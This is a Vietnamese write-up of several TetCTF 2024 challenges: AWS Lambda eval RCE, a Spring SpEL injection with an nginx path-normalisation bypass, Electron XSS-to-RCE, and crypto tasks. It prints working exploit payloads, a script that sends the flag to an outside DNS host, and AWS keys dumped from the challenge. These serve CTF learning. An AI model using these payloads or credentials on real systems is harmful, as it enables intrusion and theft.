TetCTF 2024 Write Up
Table of contents
Web
Hello from API GW (100)
credit: endy
Bài này là một bài về cloud, lần đầu mình tiếp xúc với dạng này nên còn gà và chưa thể tự mình solved được
Khi truy cập web challenge cung cấp, ta được như sau
Dựa vào response thì ta biết được User Input hay chính là param vulnerable
sẽ được Evaluated và trả về kết quả. Vì chall blackbox hoàn toàn, nên mình fuzz xem hành vi Evaluated như thế nào bằng Burp Intruder và phát hiện eval được thực hiện bằng nodejs code.
Mình dùng payload sau để RCE
Tuy nhiên sau gần nửa buổi mò mẫm trên server không ra được gì, nên mình đã DM tác giả để cầu cứu
Có được thông tin này mình chuyển sang tập trung exploit AWS.
Khi check env trên server thì mình được kết quả như sau
"AWS_LAMBDA_FUNCTION_VERSION":"$LATEST",
"AWS_SESSION_TOKEN":"IQoJb3JpZ2luX2VjEDcaDmFwLXNvdXRoZWFzdC0yIkYwRAIgO+7HFGEHJ/f0RSV04kjONaSlRAeYwhNDBqGiBR8SDd8CIEj8OoHhuUa/uSZXs0BpJuWt54pY+pG0pm2mFddleILrKsUDCPD//////////wEQAxoMNTQzMzAzMzkzODU5IgxIUtYnJwb6w/X5JpMqmQO0NGpp1hU/KZFXbM5mLLXIV38cElX8/Z8FXBmW0CUPYPR8smBRN8HYEs89eOSKc/vzV3HOppp+Kfk/9oWs9obtphChd5J93mqnPPQSWkKtilQzT5IFZ2aZgvvy7Bdts2j9Ni26qveBDIms28Dt3qOIibmiW8cQ0io0DRQOPBF3lWyoktuLg5VnWviXi2BRbrK8+Rh203otRUNj49BFEvXBCFlaXAe9c4Nvj2cKC1KC6hpNae5ZRG/Y5Rw187iFitnGji7XsWIFZYqh3VBxk5EuwpWP1Jd9f++Qm+KvijK7BsAx4FERaHrOM8XvW/ofycXdIin3F/YBXOrfUoVH8oVKqPdZSwKWe6Hg5tmR/wAR+OhJMrsEPvsZjp2+TLfKlD+CPh7WFycbQQ65eZdo11IYKZvjGoeKUWXZ+BH/rNE70SKiomjJyxaL2JJMGKkYWU6pyT4qyQeBEdNvAv7LIQE0mQZ5wUJGUYum297lWnfmfW8UEEVCBa780bl3w9jopuq42l4TaWY+sRTCvovzVELBLUoyLZNseB5JMIfv3q0GOp8BR5amTDndFktnwrJeAg8aUHFlAVagFFoxVmyEu90LeFo3OrxFXheSka82yYg6ET1IWk9vNd7Lhzp3MlVRxJXmo8ljsTnKBqo0WeHnW4qNyurUeF82tHtDHUcRCOp0Z8VxzVv0uKij+/ULOywoajP5OnmNnOrN9cD9Bl26NP3ukZIB5v5cNqyqthXbpBKaGO5f5TONoGjacY0jK/sFzaCy",
"AWS_LAMBDA_LOG_GROUP_NAME":"/aws/lambda/TetCtfStack-VulnerableLambdaAA73A104-aSkHuTfgUzPR",
"LD_LIBRARY_PATH":"/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib",
"LAMBDA_TASK_ROOT":"/var/task",
"AWS_LAMBDA_RUNTIME_API":"127.0.0.1:9001",
"AWS_LAMBDA_LOG_STREAM_NAME":"2024/01/29/[$LATEST]30dd9468224f464e83c09e6d42403058",
"AWS_EXECUTION_ENV":"AWS_Lambda_nodejs18.x",
"AWS_XRAY_DAEMON_ADDRESS":"169.254.79.129:2000",
"AWS_LAMBDA_FUNCTION_NAME":"TetCtfStack-VulnerableLambdaAA73A104-aSkHuTfgUzPR",
"PATH":"/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin",
"AWS_DEFAULT_REGION":"ap-southeast-2",
"PWD":"/var/task",
"AWS_SECRET_ACCESS_KEY":"AdbLHBQeAU/IJYrJ4cJ/7RzCumpS36Pq3RxhZ0eR",
"LAMBDA_RUNTIME_DIR":"/var/runtime",
"LANG":"en_US.UTF-8",
"AWS_LAMBDA_INITIALIZATION_TYPE":"on-demand",
"NODE_PATH":"/opt/nodejs/node18/node_modules:/opt/nodejs/node_modules:/var/runtime/node_modules:/var/runtime:/var/task",
"TZ":":UTC",
"AWS_REGION":"ap-southeast-2",
"ENV_ACCESS_KEY":"AKIAX473H4JB76WRTYPI",
"AWS_ACCESS_KEY_ID":"ASIAX473H4JBYHUWJR4U",
"SHLVL":"0",
"ENV_SECRET_ACCESS_KEY":"f6N48oKwKNkmS6xVJ8ZYOOj0FB/zLb/QfXCWWqyX",
"_AWS_XRAY_DAEMON_ADDRESS":"169.254.79.129",
"_AWS_XRAY_DAEMON_PORT":"2000",
"AWS_XRAY_CONTEXT_MISSING":"LOG_ERROR",
"_HANDLER":"index.handler",
"AWS_LAMBDA_FUNCTION_MEMORY_SIZE":"128",
"NODE_EXTRA_CA_CERTS":"/var/runtime/ca-cert.pem",
"_X_AMZN_TRACE_ID":"Root=1-65b7b8fe-30aba47b2289b9772f9f3866;Parent=62b9a8f75698e2f1;Sampled=0;Lineage=c3b1dc18:0"
Ở đây ta có thể dễ dàng lấy được AWS_ACCESS_KEY_ID
và AWS_SECRET_ACCESS_KEY
để tương tác với AWS service, tuy nhiên sau mỗi lần mình đọc env thì 2 giá trị này thay đổi liên tục, chỉ có ENV_ACCESS_KEY
và ENV_SECRET_ACCESS_KEY
cố định không đổi. Mình dùng 2 giá trị này để thay thế.
Khởi tạo configure với access_key và secret_key
└─$ aws configure --profile cloud1
AWS Access Key ID [None]: AKIAX473H4JB76WRTYPI
AWS Secret Access Key [None]: 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
Default region name [None]: ap-southeast-2
Default output format [None]:
Mình dùng aws-enumerator để enum thì biết được, với credentials hiện tại thì có các permission sau:
DYNAMODB DescribeEndpoints
IAM GetAccountPasswordPolicy
SECRETSMANAGER ListSecrets
STS GetSessionToken
STS GetCallerIdentity
Nhìn vào là biết nên check cái nào đầu tiên rồi. Chạy command sau để xem ListSecrets
└─$ aws secretsmanager list-secrets --profile cloud1
{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:ap-southeast-2:543303393859:secret:prod/TetCTF/Flag-gnvT27",
"Name": "prod/TetCTF/Flag",
"LastChangedDate": 1706155046.205,
"LastAccessedDate": 1706486400.0,
"Tags": [],
"SecretVersionsToStages": {
"44e68972-c191-4bc8-acc8-d0ba3a29cea6": [
"AWSCURRENT"
]
},
"CreatedDate": 1706155045.933
}
]
}
Dùng command sau để đọc prod và get flag
└─$ aws secretsmanager get-secret-value --secret-id prod/TetCTF/Flag --profile cloud1
{
"ARN": "arn:aws:secretsmanager:ap-southeast-2:543303393859:secret:prod/TetCTF/Flag-gnvT27",
"Name": "prod/TetCTF/Flag",
"VersionId": "44e68972-c191-4bc8-acc8-d0ba3a29cea6",
"SecretString": "{\"Flag\":\"TetCTF{B0unTy_$$$-50_for_B3ginNeR_2a3287f970cd8837b91f4f7472c5541a}\"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": 1706155046.202
}
J4v4 Censored (unintended solution that break nginx rules)
credit: devme4f
Preface
Chào mọi người, hôm nay mình sẽ write up lại bài J4v4 Censored
trong giải TetCTF 2024
mà team mình (KCSC) đã solve được. Đây là 1 bài java mình đánh giá không quá khó nhưng lại là half-black-box nên phải đoán, fuzzing khá nhiều nên khi làm mình khá nản nhưng cũng nhờ có teammates quyết tâm tìm ra được unintended solution nên may mắn (cũng chính là team duy nhất) solved được. Let’s start!
Exploring
Đề cho url đến swagger endpoint nhưng khi truy cập thì không load được list các api:
Nguyên nhân do /v2/api-docs?group=discovery
đã bị chặn:
Thử chuyển thành post method thì bypass được luôn 😀😀:
Từ info của swagger thì biết được app đang chạy /nepxion/Discovery module discovery-plugin-admin-center-starter-swagger nhưng như title discovery-springcloud-example-admin-remake
thì có thể đã được modify.
Thử tìm CVE trên nền tảng này thì mình thấy có 2 lỗ hổng đáng chú ý là SpEL Injection và SSRF tại đây: https://securitylab.github.com/advisories/GHSL-2022-033_GHSL-2022-034_Discovery/
PoC của 2 lỗ hổng này cũng có sẵn rồi, nhưng khi ốp vào thì lại không ăn ngay:
Sau một hồi fuzz qua thì mình thấy các keyword như strategy
, validate-expression
đã bị chặn, cùng với một số ký tự như \
hay ;
. Cũng dễ nhận thấy là endpoint này bị chặn bởi nginx chứ không phải java app, tiềm tàng nguy cơ bị bypass 😂.
Bypass nginx
Ý tưởng chộp đến ngay là dùng bug SSRF để bypass và request đến endpoint /strategy/validate-expression
từ localhost. Thử SSRF thì đến /swagger-ui.html
thì vẫn ok:
Nhưng đến /strategy/validate-expression
thì không được, nguyên nhân cũng khá dễ hiểu do nginx đã chặn các keyword mình đã kể ở trên nếu nằm trong URL, mình cũng chưa tìm ra cách workaround nào khác do endpoint này lấy params từ path variable:
@RequestMapping(path = "/route/{routeServiceId}/{routeProtocol}/{routeHost}/{routePort}/{routeContextPath}", method = RequestMethod.GET)
@ApiOperation(value = "获取指定节点可访问其他节点的路由信息列表", notes = "", response = ResponseEntity.class, httpMethod = "GET")
@ResponseBody
public ResponseEntity<?> route(@PathVariable(value = "routeServiceId") @ApiParam(value = "目标服务名", required = true) String routeServiceId, @PathVariable(value = "routeProtocol") @ApiParam(value = "目标服务采用的协议。取值: http | https", defaultValue = "http", required = true) String routeProtocol, @PathVariable(value = "routeHost") @ApiParam(value = "目标服务所在机器的IP地址", required = true) String routeHost, @PathVariable(value = "routePort") @ApiParam(value = "目标服务所在机器的端口号", required = true) int routePort, @PathVariable(value = "routeContextPath") @ApiParam(value = "目标服务的调用路径前缀", defaultValue = "/", required = true) String routeContextPath) {
return doRemoteRoute(routeServiceId, routeProtocol, routeHost, routePort, routeContextPath);
}
Chall cũng được cấu hình để chặn out-bound do đó không thể bypass bằng cách tự host server để redirect về lại endpoint mong muốn.
Stuck tầm 1 ngày thì cuối cùng đồng đội mình (@null001
) đã tìm ra cách bypass nginx proxy để request được đến /strategy/validate-expression
và exploit SpEL inject, cũng chẳng cần đến bug SSRF luôn(nghe là intended):
URL để bypasss như sau:
/strategy;%2f%2e%2e%2f/validate-expression;%2f%2e%2e%2f/
Vì không có source nên mình không thể confirm (sau khi giải end có source thì đã confirm được) nhưng mình giả định nguyên nhận là do nginx khi nhận request sẽ thực hiện normalize url trước khi thực hiện các directives để check. Quá trình normalize đơn giản hóa như sau stackoverflow:
Do đó khi thực hiện request trên, nginx sẽ thực hiên url decode và normalize thành $uri='/'
đẫn đến các rule check trên $uri='/'
bằng 0 😆😆.
Nhưng cũng chưa ngon ăn ngay do param expression
đã được tác giả custom lại và thêm các backlist keyword mà khi thực hiện SpEL inject sẽ không ăn ngay mà mình fuzz được thì đó là '
, "
và toString
. Ngồi bypass tiếp thôi
Bypass SpEL injection blacklist
Với các keyword bị blacklist là '
, "
và toString
nhằm chặn tạo chuỗi string thì ai quen thuộc với dạng đề CTF này mình nghĩ cũng sẽ không quá khó khăn để bypass.
Do đang là dạng spel inject blind (+ không có out-bound) nên mình hình dung payload để exploit nó sẽ tương tự như này, hạn chế sử dụng các chuỗi string cũng như lấy được input và trả về response đều từ header:
T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().setHeader(1,(T(java.util.Scanner).getConstructor(T(java.io.InputStream)).newInstance(new ProcessBuilder(T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getRequest().getHeader(1)).start().getInputStream()).useDelimiter("\\A").next()))
Để dễ hiểu thì payload có thể được chia nhỏ như sau:
- Lấy spring response object để kiểm soát response của request:
T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse()
Gọi
setHeader()
để trả về output của command từ responseDùng Scanner để lấy hết string output từ inputstream của process:
T(java.util.Scanner).getConstructor(T(java.io.InputStream)).newInstance().useDelimiter("\\A").next()
- Gọi
ProcessBuilder
thực thi command:
new ProcessBuilder(<input>).start()
- Lấy spring request object để lấy được input (command) từ request hiện tại:
T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getRequest()
- Và gọi
getHeader()
để lấy input từ header1
Để build được payload trên thì mình tự dựng lab tại local để test cho dễ thôi, tuy nhiên payload trên vẫn có chỗ bị blacklist đó là "\A"
, để bypass có thể dùng cách sau
Convert qua dạng ssti:
(new String(T(java.lang.Character).toChars(92))).concat(new String(T(java.lang.Character).toChars(65)))
Full payload:
GET /strategy;%2f%2e%2e%2f/validate-expression;%2f%2e%2e%2f/?condition=T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().setHeader(1,(T(java.util.Scanner).getConstructor(T(java.io.InputStream)).newInstance(new+ProcessBuilder(T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getRequest().getHeader(1)).start().getInputStream()).useDelimiter((new+String(T(java.lang.Character).toChars(92))).concat(new+String(T(java.lang.Character).toChars(65)))).next()))&validation=a%3dtest HTTP/2
Host: java.tienbip.xyz
1: /readflag
Done 😇:
flag:
TetCTF{ssrf`bYp4ss-sst!;W1th<3. :)}
end - ref
source được cung cấp:
https://drive.google.com/file/d/1HZ268tSJK8FuSR-Y7c8XCuv5hOt7tF6R/view?usp=sharing
nginx.conf:
server {
listen 80;
server_name 2024.tet.ctf;
access_log /var/log/nginx/tetctf-access.log;
error_log /var/log/nginx/tetctf-error.log;
location / {
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Forwarded-Server $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://nepxion-admin:1101;
}
location /v2/api-docs {
if ($request_method = GET) {
rewrite /v2/api-docs /null break;
}
proxy_pass http://nepxion-admin:1101/v2/api-docs;
}
location ~ .*strategy.* {
# prevent any cve for api endpoint :)
deny all;
}
location ~ .*validate-expression.* {
# prevent any cve for api endpoint :)
deny all;
}
location ~ .*\/..\; {
# it's bad for Tomcat :)
deny all;
}
location ~ .*\/\; {
# it's bad for Tomcat :)
deny all;
}
location ~ .*\; {
# it's bad for Tomcat :)
deny all;
}
}
X Ét Ét
credit: chanze
Bối cảnh
Bước đầu ta xem qua các chức năng của trang web bao gồm:
Đăng ký
Đăng nhập
Tạo ticket
Report ticket
Xem qua source có ta sẽ thấy có 3 folder chính là:
app
bot
server
Ta xem qua entrypoint.sh
:
#!/bin/sh
echo /app/flag.c
gcc /app/flag.c -o /flag
chmod 111 /flag
rm /app/flag.c
/usr/bin/supervisord -c /etc/supervisord.conf
Ta xác định mục tiêu là RCE để đọc flag.
Tại folder app
và bot
ta biết được hành vi của con bot sẽ mở trình duyệt bằng electron và truy cập vào nội dung mà ta report. Như tên bài và ta thấy electron thì ta xác định được đây là một bài XSS -> RCE trong electron.
Phân tích
Ta xem qua chức năng tạo ticket:
Điều đáng chú ý là tại đây ta có tính năng upload file khi tạo ticket, ta xem qua code của chức năng này:
Tại đây có 2 điều đáng chú ý sau:
Thứ nhất title, conetent được lưu vào db nhưng không qua santize.
Thứ hai file ta upload lên sẽ không trải qua bất kì bước santize về nội dung của file. Tên file khi lưu trên server sẽ là một chuỗi uuid ngẫu nhiên với extension do chính ta kiểm soát.
Khi lần đầu đọc qua mô tả của hàm splitext thì ý tưởng đầu tiên xuất hiện trong đầu mình là Path Traversal. Tuy nhiên hàm này được code rất an toàn, nên việc khai thác path traversal là không thể
Tiếp đến sau khi tạo ticket thì mình đến với chức năng report thì luồng chương trình sẽ như sau:
Tại đây chương trình sẽ lấy ra ticket
từ id
do ta gửi lên, khi này id
, ticket.title
, ticket.content
sẽ qua bleach.clean()
sau đấy được gửi tới http://127.0.0.1:5001
. Công dụng và cách dùng bleach.clean()
an toàn được ghi như sau trong documentation:
Tiếp theo sau khi đi từ POST request dữ liệu sẽ được xử lý như sau:
Tại đây ta thấy rằng id
, ticket.title
, ticket.content
sẽ qua base64 encode và gán vào biến môi trường và chạy file /app/app/run.sh
/app/app/run.sh
#!/bin/bash
rm -rf /tmp/.X99-lock
Xvfb :99 &
cd "/app/app"
#
timeout -k 2 3 node_modules/.bin/electron . --disable-gpu --no-sandbox --args --ignore-certificate-errors &
Từ code thì ta thấy rằng sẽ chạy electron app:
Khi này ta có thể xác định rằng id
, ticket.title
, ticket.content
đã được xử lý an toàn bằng bleach.clean()
đúng cách, nên ta không thể khai thác XSS từ các giá trị trên tại đây.
Nhưng tại đây có một lỗ hổng khác, ta có thể thấy:
local = link.includes("http://localhost/tmp/");
Tại đây thay vì dùng startsWith
thì tác giả sử dụng includes
, regex ở trên match với kết quả như sau:
Như vậy ta có thể kiểm soát hoàn toàn src
của iframe
.
Khi này ta có thể cho trỏ về trang web của chúng ta để XSS, đấy là điều ta sẽ làm nếu như server cho phép ta ra mạng, tác giả đã config iptables để chặn chúng ta ra mạng:
Vậy tại đây ta có còn cách nào để khai thác XSS hay không? Câu trả lời là có, nhưng mình sẽ nói ở phần sau của bài viết.
Ta thấy sau khi qua chỗ gán src
cho iframe
thì chương trình tiếp tục kiểm tra xem content
có bắt đầu bằng [IMPORTANT ALERT]
hay không:
Để content bắt đầu bằng [IMPORTANT ALERT]
thì ta phải tạo ticket với username là admin
:
Nhưng user admin
đã được khởi tạo ngay khi chương trình chạy. Ta tìm cách để bypass chỗ này, như ta thấy thì username
sẽ được lấy từ session
:
username = session.get('username')
Khi ta login
thì chương trình sẽ gán giá trị username
vào session
như sau:
Như ta thấy thay vì gán trực tiếp username
vào session
thì tại đây username
sẽ qua strip()
, hàm strip()
sẽ loại bỏ mọi khoảng trắng ở cả 2 đầu của chuỗi, nên tại đây ta chỉ việc thêm các ký tự khoảng trắng vào 2 đầu của username
là sẽ thành công bypass.
Khi này ta đã thành công popup được notification window (hay có thể được nói là gọi được event CreateViewer
)
Tuy nhiên trang được mở trong notification window là một endpoint được gán CSP:
Như ta thấy thì tại script-src
là self
, kết hợp với việc ta có thể upload file lên server như vậy ta có thể upload file js lên và load vào tag script? Kịch bản này đẹp nhưng nó không thể xảy ra vì khi ta lấy file về thì sẽ được trả về dưới dạng JSON
Nên hiện tại ta vẫn chưa thể XSS được.
Những gì đã có
Sau đây là những gì quan trọng ta đã kiếm được sau quá trình phân tích:
Có thể upload file với extension hoàn toàn do ta kiểm soát
Có thể kiểm soát
src
trong iframe của trang bot mở khi có report, tuy nhiên vì firewall chặn không cho ra mạng nên ta vẫn chưa thể XSSCó thể popup được notification window ( hay còn được biết là trigger được event
CreateViewer
, nhưng vì CSP nên vẫn chưa thể XSS
XSS
Từ những dữ liệu đã có ở trên ta hoàn toàn có thể tấn công XSS thành công.
Tại main window thì iframe
sẽ ra sao nếu ta cho iframe
hiển thị nội dung của file html trong local?
Tại notification window sẽ ra sao nếu ta cho trang web redirect về file html trong local?
Kết hợp với dữ kiện ở trên là ta có thể upload file với nội dung bất kì lên server cùng với việc extension của file sẽ hoàn toàn do ta kiểm soát.
Khi này trang web sẽ hoàn toàn do ta kiểm soát.
Luồng khai thác tại đây sẽ như sau:
Upload malicous html file với extension là html
Tạo ticket với content chứa meta tag redirect về file ta vừa upload trên server (
file:///tmp/<uuid>.html
)Khi này tại main window thì ta cho truy cập vào
/isNew
endpoint cùng vớiid
của tiket ta vừa tạo ở trên.Còn tại notification window thì ta chỉ cần report là được
Khi này ta đã XSS được cả 2 window là main window và notification window
Electron
Mình đề xuất video sau để tham khảo về XSS -> RCE trong Electron, nếu bạn chưa viết về Electron: https://youtu.be/Tzo8ucHA5xw?si=Ac-sDASQuJ2Nguox
Ngoài ra bạn cũng có thể đọc bài viết bằng Tiếng Việt sau:
https://nhienit.wordpress.com/2023/06/26/cve-2022-3133-draw-io-xss-leads-to-rce/
Ta xét qua config của main window:main window
notification window
Ta thấy rõ rằng webPreferences
của notification window
có vấn đề khi sandbox
là false
và contextIsolation
cũng là false
. Ta có thể tấn công theo kiểu prototype pollution
như trong video ở trên mình đề xuất thì ta sẽ khai thác như sau:
exploit.html
<script>
const orgCall = Function.prototype.call;
Function.prototype.call = function(...args){
if(args[3] && args[3].name == "__webpack_require__"){
window.__webpack_require__ = args[3];
Function.prototype.call = orgCall
__webpack_require__('module')._load("child_process").exec("/flag > /app/server/static/flag_chanze.txt")
}
return orgCall.apply(this,args);
}
</script>
Các bước khai thác:
Tạo acc để bypass admin và đăng nhập
Upload file exploit.html
Tạo ticket với title
<meta http-equiv="refresh" content="1;url=
[file:///tmp/<uuid>.html
](file:///tmp/.html)">
Report tới admin
Truy cập vào static/flag_chanze.txt để lấy flag
Ngoài ra còn hướng khai thác khác được giới thiệu trong discord sau khi giải end:
leak_dns.html
<script>
fetch("file:///flag").then(r => r.text()).then(r => r.match(/TetCTF\{(.*?)\}/)[1]).then(flag =>(fetch(`http://${flag}.fgabdckk.requestrepo.com`)))
</script>
Ta có thể khai thác theo hướng này tuy nhiên kết quả sẽ bị đưa về lowercase
hết
Honorable Mention
- Write Up X Ét Ét (credit: Ngọc Trần)
Crypto
flip
credit: nomorecaffeine
Ý tưởng
Đề bài cho ta một file elf để encrypt aes và một file python
Nhiệm vụ của file python là cho phép ta sửa lại 1 byte của file elf.
# input format: hex(plaintext) i j
try:
plaintext_hex, i_str, j_str = input().split()
pt = bytes.fromhex(plaintext_hex)
assert len(pt) == 16
i = int(i_str)
assert 0 <= i < len(content)
j = int(j_str)
assert 0 <= j < 8
except Exception as err:
print(err, file=sys.stderr)
# ban_client()
return
# update key, plaintext, and inject the fault
content[OFFSET_KEY:OFFSET_KEY + 16] = key
content[OFFSET_PLAINTEXT:OFFSET_PLAINTEXT + 16] = pt
content[i] ^= (1 << j) # sửa 1 byte
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[200]; // [rsp+0h] [rbp-D0h] BYREF
unsigned __int64 v5; // [rsp+C8h] [rbp-8h]
v5 = __readfsqword(0x28u);
AES_init_ctx((__int64)v4, (__int64)&key);
AES_ECB_encrypt((__int64)v4, (__int64)&plaintext);
write(1, &plaintext, 0x10uLL);
return 0;
}
Ta chú ý content[i] ^= (1 << j) # sửa 1 byte
ta có thể sửa 1 byte tuỳ ý.
Đến đây ta có 2 hướng:
sửa size 0x10 thành size > 0x20 để có thể in ra cả key (vì biến plaintext và key nằm cạnh nhau)
sửa địa chỉ plaintext thành key
Khai thác
Bằng cách dùng debug mình biết được i là 0x11b9+1=4538 chính là byte 0x10
Và mình tìm j = 5
>>> hex(0x10 ^ (1 << 5))
'0x30'
Kết quả
flip v2
credit: nomorecaffeine
Tương tự như bài trên nhưng bây giờ ta không được phép flip bit tại hàm main()
# input format: hex(plaintext) i j
try:
plaintext_hex, i_str, j_str = input().split()
pt = bytes.fromhex(plaintext_hex)
assert len(pt) == 16
i = int(i_str)
assert 0 <= i < len(content)
assert not OFFSET_MAIN_START <= i < OFFSET_MAIN_END
j = int(j_str)
assert 0 <= j < 8
except Exception as err:
print(err, file=sys.stderr)
# ban_client()
return
Vì không có ý tưởng gì kết hợp với việc nhận thấy các giá trị co thể dẫn đến việc thay đổi kết quả của file elf trong khoảng có thể bruteforce (0x11ED -> 0x2395
). Nên quyết định dựng local và lấy output về phân tích với key = b'aaaaaaaaaaaaaaaa'
start = 0x11ED
end = 0x2395
re_ct = ''
for i in range(0x11ED, 0x2395):
if OFFSET_MAIN_START <= i < OFFSET_MAIN_END:
continue
for j in range(8):
conn = remote('localhost', 31339)
pt = 'a'*32
to_send = pt + ' ' + str(i) + ' ' + str(j)
conn.sendline(to_send.encode())
try:
ct = conn.recvline().strip().decode()
if ct != re_ct:
re_ct = ct
print(ct)
f = open('output.txt', 'a')
f.writelines(str([i, j, ct]) + '\n')
f.close()
except:
pass
conn.close()
Trong lúc xem qua file thì nhận thấy một số output khá đặc biệt như sau:
- Trả về 32 bytes
[4452, 0, 'b49144452613952f3fa727f6875acf484d2803e7297ee8cb8d0bfdd2823f4de5']
- Trả về null byte
[5264, 3, 'b49144452613952f3fa727f6875acf48']
[5295, 6, '']
[5297, 1, 'b49144452613952f3fa727f6875acf48']
[5298, 7, '']
- Trả về các byte giống hệt nhau
[5463, 1, 'cbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcb']
[5465, 0, 'f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0']
[5466, 4, 'f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0']
[5468, 7, '89898989898989898989898989898989']
Trường hợp cuối cùng là khả thi nhất để khai thác. Vì key là b'aaaaaaaaaaaaaaaa'
và plaintext nhập vào là b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'
. Vậy nên những output đó có thể là plaintext ^ key
>>> from pwn import xor
>>> key = b'aaaaaaaaaaaaaaaa'
>>> pt = b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'
>>> xor(pt, key)
b'\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb\xcb'
>>> xor(pt, key).hex()
'cbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcb'
Nhận thấy trường hợp output tại i = 5463
và j = 1
thỏa mãn giả thiết mình đặt ra nên mình thử trên server và ….
adapt
credit: Uyen
Author: ndh
Description: Adaptive chosen-message attack against ECDSA.
Server: nc 139.162.24.230 31337
Material:
Đề cho source main.go
như sau:
package main
import (
"crypto/ecdsa"
"crypto/elliptic"
"crypto/rand"
"crypto/sha256"
"encoding/base64"
"encoding/json"
"fmt"
"github.com/cosmos/iavl"
db "github.com/tendermint/tm-db"
"log"
"math/big"
"os"
)
func main() {
// gen a keypair
seckey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
if err != nil {
log.Panicf("could not generate ecdsa key: %v", err)
}
fmt.Println(seckey.X, seckey.Y)
// init a mutable tree
tree, err := iavl.NewMutableTree(db.NewMemDB(), 256, false)
if err != nil {
log.Panicf("failed to create a mutable tree: %v", err)
}
var msgB64 string
var msg []byte
for i := 0; i < 2024; i++ {
// read message
if _, err := fmt.Scan(&msgB64); err != nil { // disconnection
return
}
if msgB64 == "." { // enough message-signature pairs
break
}
if msg, err = base64.StdEncoding.DecodeString(msgB64); err != nil { // invalid input
return
}
// mark as seen
_, err := tree.Set(msg, []byte{})
if err != nil {
log.Panicf("tree operation failed: %v", err)
}
// send back the signature
digest := sha256.Sum256(msg)
r, s, err := ecdsa.Sign(rand.Reader, seckey, digest[:])
if err != nil {
log.Panicf("could not sign: %v", err)
}
fmt.Println(r, s)
}
// To get flag, submit a signature for "Please give me flag" and a proof that the message has not been seen.
// Note that the proof can be obtained via `tree.GetWithProof`.
var r, s big.Int
var proofB64 string
var proofJson []byte
var proof iavl.RangeProof
if _, err := fmt.Scan(&r, &s, &proofB64); err != nil { // disconnection
return
}
if proofJson, err = base64.StdEncoding.DecodeString(proofB64); err != nil { // invalid input
return
}
if err := json.Unmarshal(proofJson, &proof); err != nil { // invalid input
return
}
// verify the signature
target := []byte("Please give me flag")
digest := sha256.Sum256(target)
if !ecdsa.Verify(&seckey.PublicKey, digest[:], &r, &s) { // invalid signature
return
}
// verify the non-membership proof
root, err := tree.WorkingHash()
if err != nil {
log.Panicf("failed to fetch tree root: %v", err)
}
if err := proof.Verify(root); err != nil { // invalid proof
return
}
if err := proof.VerifyAbsence(target); err != nil { // invalid proof
return
}
// OK
flag, err := os.ReadFile("secret/flag.txt")
if err != nil {
log.Panicf("could not read flag: %v", err)
}
fmt.Println(string(flag))
log.Println(&r, &s, string(proofJson))
}
Khi kết nối thành công thì server sẽ gửi về ECDSA public key và cho phép user gửi tối đa 1024 message bất kì, server sẽ sign và gửi về signature là một cặp số (r, s) cho tương ứng với message đó. Nếu user biết signature của "Please give me flag" thì server sẽ trả về flag.
Lưu ý là server không cấm user gửi "Please give me flag", và dùng iavl non-membership proof để chứng minh trong số message user đã gửi không có "Please give me flag". Vậy mình sẽ gửi "Please give me flag" để pass cái ecdsa.Verify
và tìm cách bypass proof.Verify
và proof.VerifyAbsence
.
Core của proof.Verify
như sau, mục đích của hàm này là calculate roothash từ provided proof và so sánh với roothash ở phía server, RangeProof cho phép verify nhiều leaves trong một proof nhờ đệ quy COMPUTEHASH
, should check it.
func (proof *RangeProof) _computeRootHash() (rootHash []byte, treeEnd bool, err error) {
if len(proof.Leaves) == 0 {
return nil, false, errors.Wrap(ErrInvalidProof, "no leaves")
}
if len(proof.InnerNodes)+1 != len(proof.Leaves) {
return nil, false, errors.Wrap(ErrInvalidProof, "InnerNodes vs Leaves length mismatch, leaves should be 1 more.") //nolint:revive
}
// Start from the left path and prove each leaf.
// shared across recursive calls
var leaves = proof.Leaves
var innersq = proof.InnerNodes
var COMPUTEHASH func(path PathToLeaf, rightmost bool) (hash []byte, treeEnd bool, done bool, err error)
// rightmost: is the root a rightmost child of the tree?
// treeEnd: true iff the last leaf is the last item of the tree.
// Returns the (possibly intermediate, possibly root) hash.
COMPUTEHASH = func(path PathToLeaf, rightmost bool) (hash []byte, treeEnd bool, done bool, err error) {
// Pop next leaf.
nleaf, rleaves := leaves[0], leaves[1:]
leaves = rleaves
// Compute hash.
hash, err = (pathWithLeaf{
Path: path,
Leaf: nleaf,
}).computeRootHash()
if err != nil {
return nil, treeEnd, false, err
}
// If we don't have any leaves left, we're done.
if len(leaves) == 0 {
rightmost = rightmost && path.isRightmost()
return hash, rightmost, true, nil
}
// Prove along path (until we run out of leaves).
for len(path) > 0 {
// Drop the leaf-most (last-most) inner nodes from path
// until we encounter one with a left hash.
// We assume that the left side is already verified.
// rpath: rest of path
// lpath: last path item
rpath, lpath := path[:len(path)-1], path[len(path)-1]
path = rpath
if len(lpath.Right) == 0 {
continue
}
// Pop next inners, a PathToLeaf (e.g. []ProofInnerNode).
inners, rinnersq := innersq[0], innersq[1:]
innersq = rinnersq
// Recursively verify inners against remaining leaves.
derivedRoot, treeEnd, done, err := COMPUTEHASH(inners, rightmost && rpath.isRightmost())
if err != nil {
return nil, treeEnd, false, errors.Wrap(err, "recursive COMPUTEHASH call")
}
